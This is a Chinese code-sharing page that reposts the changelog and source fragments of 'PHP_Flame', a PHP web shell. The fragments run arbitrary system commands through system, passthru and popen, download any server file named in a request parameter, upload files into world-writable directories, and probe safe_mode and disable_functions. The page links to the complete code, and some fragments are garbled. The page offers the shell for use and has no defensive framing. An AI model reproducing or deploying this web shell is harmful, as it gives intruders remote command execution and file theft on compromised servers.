PHP_Flame(Version:Progress)的原代码

5年以前  |  阅读数:405 次  |  编程语言:PHP 

I PHP_Flame (Version: Progress ) 的一些信息:

修正了无法下载文件的BUG
修正了无法返回上级的BUG
*修正了代码编辑出现错误的BUG
......

增加PHPINFO的功能
增加多文件下载的功能
增加执行系统命令的功能
增加代码查看功能
*增加服务器安全探测功能
.......

*还有许多美化工作。。。。。。 相关的资料:

1。修正了无法返回上级的BUG的代码:
echo "<a href=\"$php_self?act=dir&dir;=$dir\..\">返回上级";

2。修正了无法下载文件的相关代码:
case "download":
if (!@is_file($_GET['file_name']))
echo"你要下的文件不存在";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;

3。增加代码查看功能
文件代码

4。修正了代码编辑出现错误的代码:
$tem= str_replace("/textarea>","//textarea>",$tem);
。。。。。
$tem= str_replace("//textarea>","/textarea>",$tem);

5。增加服务器安全探测功能:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("no value");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}

6。执行系统命令部分的代码:
<?
if ($actionaa=="cmd") { ?>



"; echo "* Author: JSW
"; echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on
";else echo"off
"; echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions"); if ($dis_func=="") { echo("no value"); } else { $dis_func=str_replace(" ","
",$dis_func); $dis_func=str_replace(",","
",$dis_func); echo("$dis_func"); }

echo "
* Now please choose a function and enter the command......";
}
echo "

";
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$file\n";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "
";
//echo show_source($file);
//echo "
";
} else {
echo "";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "

";
exit;
}
?>

7。增加文件上载的代码:
<?php
if($dir=="")
$dir="./";
?>
<?
if($tools==upload)
{
for($i=1;$i<21;$i++)
{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传
";
}
else
echo $source_name."请重新上传!
";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传
";
}
}
}//end for
echo"

JSW'S PHP FLAME
  • 1.指定上传目录(默认为本程序所在目录)
  • 2.需要上传的个数(建议最大值 20)
  • 3.全部文件都覆盖上传:


  • 您的文件将被上传到: $dir 返回PHP_Flame
    文件1:
    "; exit;} ?>

    。。。。。。
    最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码: http://jsw.china12e.com/jswsoft/show.php

     相关文章:
    PHP分页显示制作详细讲解
    SSH 登录失败:Host key verification failed
    获取IMSI
    将二进制数据转为16进制以便显示
    获取IMEI
    文件下载
    贪吃蛇
    双位运算符
    PHP自定义函数获取搜索引擎来源关键字的方法
    Java生成UUID
    发送邮件
    年的日历图
    提取后缀名
    在Zeus Web Server中安装PHP语言支持
    让你成为最历害的git提交人
    Yii2汉字转拼音类的实例代码
    再谈PHP中单双引号的区别详解
    指定应用ID以获取对应的应用名称
    Python 2与Python 3版本和编码的对比
    php封装的page分页类完整实例